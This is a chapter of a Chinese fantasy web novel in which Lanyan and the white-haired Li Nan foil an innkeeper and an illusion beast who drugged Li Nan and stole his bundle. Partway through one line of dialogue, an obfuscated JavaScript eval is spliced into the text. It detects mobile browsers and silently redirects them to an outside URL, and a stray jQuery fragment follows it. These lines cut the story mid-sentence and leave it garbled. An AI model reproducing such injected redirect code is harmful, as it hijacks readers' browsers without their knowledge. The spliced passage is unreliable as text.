岚烟感觉自己手臂震了一下,愣了愣,看着眼前的乱糟糟的发顶,想说话,那人就先一步松开她的手,改去拽她衣袍。
???
边拽边说:“恩人,帮人帮到底吧,腿麻了起不来。”
“我我,你等下。”岚烟险些被他拽倒,急急拍开他的手。
再一看,黎难正抬着双水润的眸子看过来,双眉微蹙,眸光颤动,好像她说这句话就是彻底不管不顾了一样。
不是他自己摔成这可怜模样的吗?
“所以你这到底是怎么了?”岚烟挠挠头,心里有话,便问了出来,但人却是背过身蹲下,往黎难怀里挪了挪,朝他拍拍肩膀,“上来吧。”
一回生二回熟,黎难第一回都熟得不行,别说这次,往上一趴,嘴就开始叨叨。
“之前那茶里下了专门给修仙者和妖用的迷药,闻了闻觉得像,就尝了一口。”他有些怨气地说。
明明知道下了药,怎么还要喝。她背着他往前面客堂走。
“人有失手,我这不是想着还有您呢嘛。”黎难虚揽着她的肩,朝前路空荡荡的地方抱拳。
岚烟对他堪称离谱的行为感到纳闷,又不知能夸点什么:“我本就是来吃饭的,碰见茶必然就喝掉了,又哪里躲得过去。还指望我?”
黎难沉吟片刻:“但你确实没什么事。”他偏头看她,开始假设:“修仙者也是人吸纳灵气而成……是不是说明,你不是人啊。”
“你这样是在骂我吗?”岚烟猛地松了下双手托着的腿弯。
黎难身子一轻,嬉皮笑脸更甚,立马搂紧她脖子不停往上爬,开始轻哼:“口误口误。我哪敢说恩人的不是。”
这一口一个恩人,在当下实在是不中听得很,叫岚烟总是想到引他们来这里的人。
于是想了想,说:“有件事忘了告诉你。”
“嗯?”黎难还笑眯着眼,想听听她说什么,眼睛一转看见她长了些肉的侧脸动了动:“你的身家性命被人带走了。”
无论如何那可是性命,黎难一下就炸了。
他就说怎么觉得少了点什么,在院中环视一圈,看着二人面前的小门。
前面就是客堂。
“那会没看清,但应该还是纸人拿走的。”岚烟轻道,“现在能站住了吗?”
她前后两句连着说,黎难还记着性命攸关的大事,顾都没顾上,腾的一下扶着岚烟的肩膀跳下来,抬脚就往门上踹。
他这一连串动作发生得太快,岚烟站在旁边都没能上手拦住,眼看着他被那道薄薄门板反弹回来,飞快窜出去,又飞快歪在自己怀里,只需伸手扶住即可。
空气一下变得很是寂静。
黎难大概是气得,又有些犯晕,和那扭了腰的六旬老儿似的,眯着眼佝腰抓着她:“晓得了晓得了,是幻兽。”
她闻言抬眼,门板上被踹的地方有一个不太明显的脚印,印在覆盖于门上的淡光上,应该就是幻兽施展的法术。
不过这法术好像只能困住人,但困不住声音,二人现下安静下来,门后面那窸窸窣窣模糊的对话便显露出来。
“……小白脸,自己头发都白了,也不知是多少年的老妖怪,还说我是老头,背得什么破烂。呸!”
黎难捂脑袋的手颤了下,岚烟目移,视线投去他滑在自己胸前的发丝上。
“嘶,算了,那姑娘倒是挺水灵,卖到中陆也是个好价钱……人籍应该是够了。”
岚烟的目光被黎难看过来的神情吸引,他眼神清明多了,上头的热血凉了不少,就是眉心依然皱着。
她问:“好点了?”
黎难平静又缓慢地长长呼吸一口,微笑:“好了。”
说罢,忽然一掌拍向面前那门。
岚烟手里一空,耳边猛地响起咚的一声,只见那门上炸开一朵锋利的白晶花朵,又在瞬间随着黎难收手回握的动作炸成齑粉。
他再一拂袖,亮晶晶的粉末扬走,岚烟眯了眯眼,看见那门后客堂里一张痴呆般的纸人大脸。
她耳尖微动,细听似乎有人步伐奇快,于是侧身一步瞄进堂中,眼见一人手脚凌乱地奔出大门。
人是有些陌生,但他背上的绒布包她是记得很清,那可是某人的身家性命。
岚烟便一个箭步,径直掠过身侧的纸人,追出门去,左右粗看两眼,瞥见右边巷尾划过一片衣角,于是快步赶去。
更深露重,前方躲藏的脚步声消失了,她刚追着拐过巷子,眼前倏地飞来一把粉末。
岚烟只遮着眼睛,毫无防备地呛了一嘴。
“我这听话粉可是从暗门花了大价钱,对付你们——”老汉嚣张的话音突然一顿,见岚烟若无其事挥散粉末,正平静看着他,犹疑着后退:“你你……”
他指着岚烟,见对方真就没半点昏睡的迹象,立马抓着包就要逃。
可后腿却被什么用力绊了一下,他“哎呀”一声,像张面饼一样拍到地面。
怀里的包袱跌了出去,叮铃当啷却未散落在地,稳稳地被岚烟跃过去接在了手里。
“我现在才觉得你说话有点耳熟,那日吞邪幻境里的,是不是你?”岚烟一手拎着绒布包,一手抹掉脸上的粉。
冬日地面干硬,老汉一个鱼跃砸下去,膝盖必定受不了,这会疼得几乎都要别过气去,更不要说回答她的话了。
岚烟没等到回应,想也清楚,便直接俯下身,就这么半扛着它往客栈里走。
还在巷子里,老远就听见那边客栈里闹哄哄的声音,岚烟肩头上的人也在嚎着,她没有听清里面究竟发生了什么,还以为是出了变故,急着奔进大门,脱口而出黎难的名字。
然后和客堂里端着烛台那张懵然的脸对上视线。
他原本安顺垂在背后的发丝被她带来的那阵冒失的风扬起来,跟着黎难回眸,围着他身周荡了半圈,和堂中蓦然的安静一块贴回他背后。
在他身后,是一个个被白晶冻住的纸人,看样子是从后面院子引进来的,也不知他是如何惹恼了他们,怪叫成这样。这会见岚烟进来,那白晶上移,把纸人整个封住,叫声才止住。
岚烟一向搞不懂他,视线重新回到黎难身上,见这人的确全须全尾着,放下心,将肩上的两个东西卸下来,再抬头,感觉对方正一个劲瞪她。
“身家性命,你看看还好着吗。”岚烟递给他一个奇怪的眼神,向后面那包袱瞥了眼。
黎难这时候却一点也不着急那东西,踱步过来,依旧瞪她,含笑道:“这么担心我。”
他走来,同时岚烟脚边腾起一股寒意,她下意识望去,刚被她仍在地上的老汉瞬间被白晶封住。
而施法者跟着一簇火光走来,随意拂去旁边桌上的灰尘,侧坐上去,抽开绒布包翻找着,边说:“感觉阿烟对我有些误解……”
一阵杂物碰撞,包袱再次被系上,黎难拿出了一张精细的符箓。
“其实我也是很厉害的,要是你太过忧心我而分神受伤,我这心得碎成渣。”
岚烟默默扫向腿边。
所以他说的厉害,指的是这老汉身上一脚能踩碎的白晶吗?
岚烟没说出来,但黎难歪歪脑袋,盯着她的月牙眼睛瞪大了些,眉毛扬高,笑说:“你偷偷瞧不上我。”
其实也没有多偷偷……
岚烟把散乱的发掖到耳后,动作间稍显得窘迫了点,黎难便抱臂坐正,佯装恼怒:“行,瞧不上便瞧不上罢,只消恩人到哪急着护我一护就成。”
“我帮了。”
这个岚烟非常确定,立即答到。
黎难斜来一眼:“嘁。别以为我不知道,若是揍那纸人时,你唤我三次我未应声,大概就当我死了,接下来随意发挥了吧。”
岚烟:“这不是很正常。”
黎难:“是这个理。所以我拼尽全力也得醒过来一刻,生怕你这人拿我当个干尸揍了。”
岚烟嘴唇嚅嗫,脑子里情不自禁地演绎出他描述的画面:一个干瞪眼直挺挺的黎难在纸人里,被她扔来丢去的。
连带着眼前黎难一本正经的侧脸,也变得有些滑稽起来。
她莫名其妙笑了一下。
哈哈了一声,随即两个人都带着诡异沉默下来。
岚烟舔了舔唇,浓密的睫毛轻眨,抬眸,和黎难平静眼神对上,那人轻嘶一声,扯了下嘴角:“哦。你笑话我。”
“……你讲得好笑。”岚烟还是为自己辩解了下。
黎难往桌子后面坐了些,侧过大半身子面对着她,有点命令的口吻对她扬了扬下巴:“你再笑一下,我刚没看见。”
这神情严肃得很,但岚烟看着就说不出的怪。
她站着,他坐着,那桌子也不怎么高,两人视线便就不平行,岚烟比他高上一些,因此这表情在她眼里,多少带了点装感。
只是她不会形容,仅仅是那会的好笑又回笼了而已。
而且这次是黎难让她笑的,岚烟扬起唇后就也没觉得冒犯,轻轻又笑了两声:“你别这么看着我。”
她笑意也很温和,好像一股悠悠的春风,不自觉就和表情融为一体,刮过去就消失,随着言语消散。
黎难眼睛一亮,遂又惋惜:“说来你我同行一路,也就这会赏我一笑,之前是怎么的?看来还得我去犯个蠢才能搏你乐呵乐呵。”
岚烟:“我倒觉得你有点奇怪,怎么会有人无时无刻不在笑。”
“多笑笑好,再难的事情也能解决
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584533|171670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”黎难拍拍她的肩,操着一口石村长般的老年口吻给她忠告,仿佛下一刻要不久于人世。
嗷……这是又装起来了。
岚烟学着他之前的样子,拱了拱手,道声:“晓得了。”
那人又笑起来,也不再坐着,走过去看房里面被他们遗忘的白晶纸人,然后冲她摇了摇手里的符箓,说,知道这是什么么。
岚烟要是知道就能有鬼了,明知故问的眼神丢过去,黎难就微微笑着走过来把符箓塞她手里,一指墙根。
那立着个透白的人形晶石。
“这就是我刚说的幻兽。”他走去,在晶体上曲指一弹,里面闪过一个纸人的模样,又很快闪成那张老汉表亲的脸。
在里面犹如风中烛火,明明灭灭,变来变去,最后让黎难一巴掌拍在晶体上,彻底灭掉,白晶再次恢复透明。
“这棺材铺如此破败,估计也没什么生意,正好适合幼年还未成形的幻兽自居,没事干幻化个表亲开开客栈,或变个纸人闹闹鬼也挺好的。”
黎难说话时,眼睛看向岚烟脚边那个被冻住瞪眼的老汉。
借着火光,她这才看清那老汉的样子竟然变得和初见时不同,她反应过来,怕不是原先那容貌也是幻兽替他变的。
岚烟沉默一瞬,看向对面另一帮纸人,想到先前黎难所说:“他们是被幻兽所做的纸人吃掉的活人?”停顿一下,又说,“要卖?”
“嗯哼,我记得遇见吞邪后你给我讲了幻境里发生的事……”
吞邪食恶念,有人与之对视,会被牵扯出念头构成幻阵,方便吞邪攻心取念。
那时在场三人,只有老汉和岚烟与他对视过,可岚烟身上没有恶念是吞邪都讶异的,那维持幻阵的恶念是谁的?结果不得而知。
岚烟回忆了下之前老汉的态度,想来刚刚获救时,他是存心感谢,只是后面看见了黎难的“身家性命”,才又起了别的心思。
但也是那人真的能耐,有能成功迷倒了黎难的药,还有幻兽相助,若不是岚烟这变数在,靠黎难那个想到一出是一出的操作,估计真就得手了。
不怪他胆大。
就是不知,那一人一妖是如何走到一处的。
岚烟捻着指尖的符箓,淡声道。
黎难:“下天方的你都能阴差阳错跑来我这里,乱世之中,还有什么是不可能的……这些就不用咱们费心了,交给他们——”
他点了点她指尖的符:“事关人和妖两族,传书给祥云仙山再稳妥不过。”然后端起烛火递给她。
原来这符作用类比于“报官”,是在寻常百姓遇见妖怪或奇闻异事时向仙家寻求帮助用的,因此用法也简单,将事情原委在上面写了,点燃即可。
但符箓到底金贵,许多人也没那个闲钱买这东西,还是会选择去找官家。
所以那里便配了个会使符箓的人,点燃后念诀,直接将报官之人所说的传过去,更快更详细,而且万一是恶作剧,还能追究一下。
黎难就是这么做的,只是微微做了些调整。
岚烟点燃后,他轻念口诀,改将屋内这这个狼藉收进快要消失的符箓里送出。
不用说话,不怕追究。
两人做完这一切,提包就溜,时刻谨记自己还是祥云山要捉拿的人。
然后淋着小雪,坐在日出开摊的饼铺边喝汤。
清晨格外冷,岚烟吸溜一口汤,白气就从口鼻漏出来,呆呆看着时不时跑来和老板说话的路人。
“那巷子里头怎的了,今早听谁说有仙家人去了?”某个等饼的汉子搭话,冻得缩脖搓手,往摊子前靠。
老板这位置好,能远远瞅着里面那巷子口,却也是摇头:“谁知道呢,没啥动静,谁家孩子捡了符烧着玩了吧。”
“唉,你一说我想起来,前个从城外听,有不少村子里丢娃娃,你们家那个贪玩……”
“呸呸呸,拿饼赶紧走。”
岚烟抱着碗喝掉最后一口汤,擦擦嘴,抻了抻脖颈。
黎难揣着的手动弹一下,问:“吃好了?”
“嗯,”她手里还有一角饼,有些凉了,就慢慢啃着,看越来越热闹的临湘县,好奇,“你来这里,只是觉得那老伯可疑?”
他从提议到实行,就像是提前准备好了一样,太过顺畅了,岚烟仅一个低头抬头,他就已经把目的地从龙头港改到了这。
黎难歪头:“怎么可能。”
他反驳后,问她那长锁还带着没。
岚烟摸摸腰间,还在。
“那就好,换个身份才能去北夏。”黎难笑笑,率先起身,抬步往闹市中走,边走边打趣:“要不再给你讲个故事?”
“算了,你还是唱首歌吧……”